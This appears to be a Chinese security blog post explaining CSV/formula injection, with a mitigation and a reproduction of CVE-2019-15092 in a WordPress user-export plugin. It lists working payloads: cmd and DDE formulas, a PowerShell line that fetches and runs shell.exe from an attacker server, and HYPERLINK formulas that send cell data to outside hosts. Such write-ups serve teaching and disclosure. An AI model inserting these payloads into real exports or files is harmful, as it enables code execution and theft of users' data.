csv注入

许多Web应用程序允许用户将诸如发票或用户设置的模板之类的内容下载到CSV文件。许多用户选择在Excel,Libre Office或Open Office中打开CSV文件。当Web应用程序未正确验证CSV文件的内容时,可能会导致单元格内容或正在执行恶意的命令。

CSV Injection Payload

1
2
3
4
5
6
7
8
DDE ("cmd";"/C calc";"!A0")A0
@SUM(1+1)*cmd|' /C calc'!A0
=cmd|' /C notepad'!'A1'
=cmd|'/C powershell IEX(wget attacker_server/shell.exe)'!A0
如果管理员单击此单元格,他们将无意中将单元格A1和A2的内容泄露到http://contextis.co.uk,其中可能包含其他用户的付款详细信息。
=HYPERLINK("http://contextis.co.uk?leak="&A1&A2,"Error: please click for further information")
=MSEXCEL|'\..\..\..\Windows\System32\cmd.exe /c calc.exe'!'' # 弹计算器
=HYPERLINK("http://vps_ip?test="&A2&A3,"Error: Please click me!") # 发起 http请求 获取数据

Technical Details of the above payload:

  • cmd 是客户端尝试访问服务器时服务器可以响应的名称
  • /C calc是文件名,在我们的例子中是calc(即calc.exe)
  • !A0 是项名称,指定服务器在客户端请求数据时可以响应的数据单位

修复方案:

在生成CSV文件时,此攻击很容易缓解,修复它,确保没有任何单元格以下列任何字符开头:

  • 等于("=")
  • 加("+")
  • 减号("-")
  • @ ("@")

hackerone 报告

office 2019测试不成功的原因

开启此选项

CVE-2019-15092 WordPress插件导入导出用户= 1.3.0 - CSV注入

插件地址安装:https://downloads.wordpress.org/plugin/users-customers-import-export-for-wp-woocommerce.1.3.0.zip

复现过程

1.搭建wordpress

https://wordpress.org/latest.zip

2.插件安装

插件地址安装:https://downloads.wordpress.org/plugin/users-customers-import-export-for-wp-woocommerce.1.3.0.zip

3.注册用户test

http://192.168.1.15/cms/wordpress/wp-admin/profile.php修改个人信息为csv injection 的payload

1
2
3
4
DDE ("cmd";"/C calc";"!A0")A0
@SUM(1+1)*cmd|' /C calc'!A0
=cmd|' /C notepad'!'A1'
=cmd|'/C powershell IEX(wget attacker_server/shell.exe)'!A0

4.切换到admin账户,然后通过user-customers-import-export插件,导出用户信息。

5.打开下载的csv 文件,弹出notepad

TIMELINE

  • 15, august 2019 - 👨‍💻 Discover
  • 15, august 2019 - 👨‍💻 Report to Webtoffee support
  • 16, august 2019 - 👨‍💼 More information request
  • 16, august 2019 - 👨‍💻 Detailed vulnerability report
  • 19, august 2019 - 👨‍💼 Unrecognized vulnerability
  • 22, august 2019 - 👨‍💻 Public disclosure

参考:

https://medium.com/bugbountywriteup/cve-2019-15092-wordpress-plugin-import-export-users-1-3-0-csv-injection-b5cc14535787

https://www.freebuf.com/articles/system/160797.html

如何更正 #REF! 错误

update

https://payatu.com/blog_17

1
=HYPERLINK("http://118.25.**.199:8000?leak="&B2&B3&C2&C3,"More Details")
-------------本文结束感谢您的阅读-------------